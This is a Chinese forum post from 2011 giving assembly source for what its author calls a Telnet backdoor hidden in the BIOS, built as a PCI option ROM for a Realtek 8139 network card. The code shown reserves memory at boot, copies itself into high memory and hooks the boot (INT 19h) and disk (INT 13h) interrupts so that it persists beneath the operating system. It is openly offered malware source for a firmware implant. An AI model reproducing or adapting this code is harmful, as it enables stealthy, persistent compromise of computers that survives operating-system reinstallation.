|
楼主 |
发表于 2011-5-31 12:11:49
|
显示全部楼层
586p ;编译工具:ML /AT *.asm ML(masm)版本6.11,BIOS中隐藏Telnet后门.
.Model Tiny ;作者:成松林,QQ:179641795,Emil:cheng_5103@126.com.实现源代码.
;*****************************************************************************************************************************************ROM_IMAGE_SIZE equ 4 ;整个模块大小单位KB,固定大小4KB.
CSL_KERNEL_DEST equ 0FFDF0800h ;SharedUserData数据结构线性地址.
CSL_USER_BACKDOOR equ 07FFE0800h ;SharedUserData数据结构线性地址.
;*****************************************************************************************************************************************RealCode segment use16
Code16Start:
;***************************************************************************************************************************************** org 00h ;####注意:置代码开始地址以便于确定定置.####,****设置开始偏移:000h****
dw 0AA55h ;####注意:ROM头格式标识可以生气独立ROM.####,****标识开始偏移:000h****
db ROM_IMAGE_SIZE*2 ;####注意:ROM长度(单位:512B,块)最小8块.####,****长度开始偏移:002h****
jmp MyROMCodeStart ;####注意:修改ROM模拟跳转指令到这里执行####,****指令开始偏移:003h****
org 06h ;####注意:编译器根据偏移长度选择JMP命令####,****JMP[rel16]长:003h****
ReturnOldROM: ;####注意:把数据放在头部以便于确定位置.####,****标识开始偏移:006h****
db 0e9h,0,0 ;####注意:执行完跳转到旧的ROM代码跳转处####,****指令数据偏移:007h****
db 'CHKSUM=',0 ;####注意:填写我们修改后的ROM数据检验和####,****数据偏移地址:010h****
;***************************************************************************************************************************************** org 18h ;编译成支持PCI设备的模块:PCI ROM固定大小4KB,其他参看"PCI 2.2规范"教程
dd 34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtek PCI8139网卡
;*****************************************************************************************************************************************MyROMCodeStart:
pushf
pushad
push es
push ds
sti ;打开中断,以便接收键盘输入.
mov cx,0ffffh ;等待,约为两二秒的按键消息.
call WaitPressScrollKey
.if !CARRY? ;若按下Scroll Lock键,不运行我们的程序.
;***************************************************************************************************************************************** xor ax,ax
mov es,ax
mov eax,es:[19h*4]
mov es:[84h*4],eax ;借用中断向量84H,保存中断向量19H.
mov bx,es:[413h] ;40:13,BIOS数据区保存常规的内存大小,单位:KBs.
and bl,NOT 3 ;注意:要求分配的物理内存地址,以页作为基地址 .
sub bx,4
mov es:[413h],bx
shl bx,(10-4) ;bx *= 1024 / 16 (KBs->线性地址=KBs*1024,段:除以16)
mov es,bx
xor di,di ;es:di -> 分配的实模式高端内存前半部分开始处.
push cs
pop ds
call GetCurrentAddr ;offset Code16End = offset Code32Start
GetCurrentAddr:
pop si ;si->GetCurrentAddr在内存的地址
mov dx,si
add si,Code16End - GetCurrentAddr ;ds:si->Code16End保护模式代码段内存的地址.
cld
mov cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4 ;拷贝保护模式代码数据到分配内存的前半部分.
rep movsd
add bx,100h
mov es,bx
xor di,di ;es:0->分配的实模式高端内存后半部分开始处.
mov si,dx
sub si,GetCurrentAddr - Code16Start ;ds:si->Code16Start实模式代码的内存的地址.
mov cx,((ROM_IMAGE_SIZE / 2) * 1024) / 4 ;拷贝 实模式代码数据到分配内存的后半部分.
rep movsd
xor bx,bx
mov ds,bx
add dx,NewINT19H - GetCurrentAddr ;dx->NewINT19H内存的地址
mov ds:[19h*4],dx
mov ds:[(19h*4) + 2],es ;设置成我们的INT19H服务代码
;***************************************************************************************************************************************** .endif
pop ds
pop es
popad
popf
;jmp ReturnOldROM ;跳转到原来的ROM代码的跳转处执行
retf
;*****************************************************************************************************************************************WaitPressScrollKey: ;函数入口:CX=350约为10ms, 函数延时: 33(us)
push ax
.repeat
in al,60h
.if al == 46h ;Scroll Lock键扫描码:46h
stc
pop ax
ret
.endif
in al,61h
test al,010h
.continue .if !ZERO?
.repeat
in al,61h
test al,10h
.until !ZERO?
dec cx
.until cx == 0
clc
pop ax
ret
;*****************************************************************************************************************************************NewINT19H:
pushf
;cli
push eax
push es
;jmp $ ;bochs调试1#.
xor ax,ax
mov es,ax
mov eax,es:[84h*4]
mov es:[19h*4],eax ;恢复中断向量19H值.
mov eax,es:[13h*4]
.if es:[85h*4] != eax
mov es:[85h*4],eax ;借用中断向量85H,保存中断向量13H.reserved for BASIC 82h~85h
mov word ptr es:[13h*4],NewINT13H ;设置NewINT13H在内存的地址.
mov es:[(13h*4) + 2],cs ;设置成我们的INT13H服务代码
.endif
pop es
pop eax
popf ;恢复现场
int 84h ;调用旧的中断向量19H.
iret
|
|